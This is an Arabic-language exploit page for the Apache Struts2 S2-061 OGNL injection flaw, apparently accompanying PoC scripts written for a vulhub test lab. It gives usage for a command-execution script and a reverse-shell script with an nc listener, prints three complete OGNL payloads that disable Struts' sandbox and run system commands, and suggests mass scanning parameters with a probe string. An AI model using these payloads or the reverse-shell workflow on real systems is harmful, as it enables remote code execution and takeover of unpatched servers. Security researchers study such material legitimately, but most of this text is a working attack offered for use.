
حمولة S2-061، بالإضافة إلى PoC/Exp البسيط المقابل لها
S2-061
تمت كتابة هذه السكربتات استناداً إلى بيئة اختبار الثغرات struts2-059/061 من vulhub، وهي ليست عامة، وأرجو من كبار الخبراء إرشادي وتصويبي.
struts2-061-poc.py (يمكنه تنفيذ أوامر نظام بسيطة)
الاستخدام: python struts2-061-poc.py http://ip:port command
مثال: python struts2-061-poc.py http://192.168.0.7:8080 whoami
S2-061-shell.py (يمكنه إرجاع shell)
الاستخدام:
أولاً، استمع على منفذ محدد على الجهاز A (مثال: nc -lvvp 7777)
نفّذ السكربت: python2 S2-061-shell.py target_url، حيث أن target_url هو عنوان بيئة الثغرة، بصيغة http://ip:port
وفقاً لتعليمات السكربت، أدخل عنوان IP الخاص بالجهاز A والمنفذ الذي يستمع عليه، وستحصل على shell في نافذة الاستماع على الجهاز A
فيما يلي بعض الـ payloads التي ابتكرها بعض الخبراء:
%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")).(#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("whoami")).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}
المقال الكامل للتحليل: https://mp.weixin.qq.com/s?__biz=Mzg2NjQ2NzU3Ng==&mid=2247485921&idx=1&sn=096e61db21281c6392c6b7d8c70fe458
%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}
%{(#request.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#request.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) + (#request.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#request.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'whoami'}))}
ملاحظة: يرجى ترميز كود OGNL أعلاه باستخدام URL ثم استخدامه في الأداة.
في الإصدارات الجديدة من struts2، لم يعد من الممكن تحليل تعبيرات OGNL عبر بناء المعاملات، لذا إذا كنت تفكر في استخدام سكربت لإجراء مسح جماعي للتحقق من وجود هذه الثغرة، يمكنك التفكير في تجربة جميع المعاملات مباشرة، ثم التحقق مما إذا كانت الصفحة تحتوي على النص المتوقع.
مثال:
%{ 'gcowsec-' + (2000 + 20).toString()}
من المتوقع أن تحصل على
gcowsec-2020
يكفي استخدام سكربت للتحقق مما إذا كانت النتيجة تحتوي على ذلك.